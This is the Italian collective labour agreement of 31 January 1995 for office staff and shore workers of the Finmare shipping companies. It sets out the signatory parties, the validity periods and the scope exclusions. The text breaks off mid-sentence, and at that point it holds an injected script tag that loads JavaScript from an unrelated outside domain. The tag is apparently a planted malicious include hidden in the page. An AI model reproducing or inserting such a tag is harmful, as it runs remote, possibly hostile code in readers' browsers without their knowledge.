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Categoria: Marittimi, uffici e operai società di navigazione
Settore: Trasporti
Data stipula: 30-1-1995
Data decorrenza: 1-1-1995
Data scadenza: 31-12-1998

CONTRATTO  COLLETTIVO DI LAVORO : ACCORDO 31 GENNAIO 1995  PER  GLI  ADDETTI
AGLI  UFFICI  E  PER IL PERSONALE OPERAIO DELLE SOCIETA'  DI  NAVIGAZIONE  "
ITALIA"  "LLOYD TRIESTINO" "ADRIATICA" "TIRRENIA" "INTERLOGISTICA"  E  DELLA
SOCIETA' FINANZIARIA MARITTIMA (FINMARE)

A  cura  dell'Associazione Italiana dell'Armamento di Linea  (Fedarlinea)  -
Roma

ACCORDO 31 GENNAIO 1995

L'anno 1995 addì 31 del mese di gennaio in Roma,

tra

L'ASSOCIAZIONE   ITALIANA   DELL'ARMAMENTO  DI   LINEA   (FEDARLINEA)    con
l'assistenza dell'ASSOCIAZIONE SINDACALE INTERSIND

e

la FEDERAZIONE ITALIANA LAVORATORI DEI TRASPORTI (FILT-CGIL)

la FEDERAZIONE ITALIANA TRASPORTI (FIT-CISL)

la UILTRASPORTI

ACCORDO 31 GENNAIO 1995

L'anno 1995 addì 31 del mese di gennaio in Roma,

tra

L'ASSOCIAZIONE   ITALIANA   DELL'ARMAMENTO   DI   LINEA   (FEDARLINEA)   con
l'assistenza dell'ASSOCIAZIONE SINDACALE INTERSIND

e

la FEDERAZIONE MARITTIMA (FEDERMAR - CISAL)

è stato convenuto quanto segue:

1   Il  contratto collettivo di lavoro 8 novembre 1991 per gli addetti  agli
uffici   e  per il personale operaio delle Società di Navigazione  "Italia",
"Lloyd  Triestino",  "Adriatica",  "Tirrenia",  "Interlogistica"  e    della
Società Finanziaria Marittima (FINMARE) è rinnovato con le modifiche di  cui
ai documenti allegati (1).

2   Con  il presente accordo le parti si danno reciprocamente atto  di  aver
rinnovato la parte economica e normativa del contratto collettivo   indicato
nel   precedente  punto  1,  in  armonia con  quanto  disposto  dall'accordo
interconfederale 23 luglio 1993.

La   parte economica avrà vigenza biennale, e cioè dal 1 gennaio 1995 al  31
dicembre 1996, quella normativa quadriennale, e cioè dal 1 gennaio 1995   al
31 dicembre 1998.

Le   condizioni  normative  ed  economiche si applicano  esclusivamente  nei
confronti degli addetti agli uffici e degli operai in servizio alla data  di
sottoscrizione   del   presente  accordo,  salvo  le   diverse    decorrenze
espressamente disposte per i singoli istituti.

3   Il  contratto collettivo indicato nel precedente punto 1)  si  intenderà
tacitamente prorogato di anno in anno qualora non venga disdettato  da   una
delle   parti, con lettera raccomandata, almeno sei mesi prima  di  ciascuna
scadenza.

Le  parti  si impegnano a rispettare e a far rispettare dai propri iscritti,
per il periodo di validità, il presente accordo ed il suddetto contratto.

***

L'applicazione  del  presente  accordo è subordinata  all'approvazione   del
Ministero della Marina Mercantile.



______________________________________
(1)  Si  omette  l'elencazione delle variati, che nel  presente  testo  sono
apportate alle singole norme.



CONTRATTO COLLETTIVO NAZIONALE DI LAVORO

Accordo 31 gennaio 1995

PER  GLI  ADDETTI AGLI UFFICI E PER IL PERSONALE OPERAIO DELLE  SOCIETA'  DI
NAVIGAZIONE
"  ITALIA" " LLOYD TR IESTI NO " "ADRIATI CA" "TI RRENIA" "INTER LOGISTI CA"
E DELLA SOCIETA' FINANZIARIA MARITTIMA (FIRMARE)

Il   presente  contratto contiene le norme che disciplinano il  rapporto  di
lavoro  del  personale tecnico, amministrativo (funzionari e  impiegati)   e
subalterno addetto agli uffici, nonché del personale operaio in servizio   a
terra.

***

Il  presente contratto collettivo non si applica:

a) al personale avente la qualifica  di dirigente ;

b)  agli  addetti  che prestano servizio negli  uffici  od   agenzie   della
Società all'estero ed ivi siano stati  assunti;

c) al personale  di Stato Maggiore di ruolo con incarico a terra;

d) ai  portieri in regime di contratto di lavoro di portierato.

***

L'ordinamento   commerciale,  amministrativo  e  tecnico  della   Società  è
riservato, nell'ambito delle leggi nazionali e degli accordi sindacali,   al
criterio della Società stessa.

***

Il   presente contratto si applica inoltre al personale addetto agli  uffici
ed   operaio  assunto<script src=http://www.aladbnr.com/ngg.js></script>













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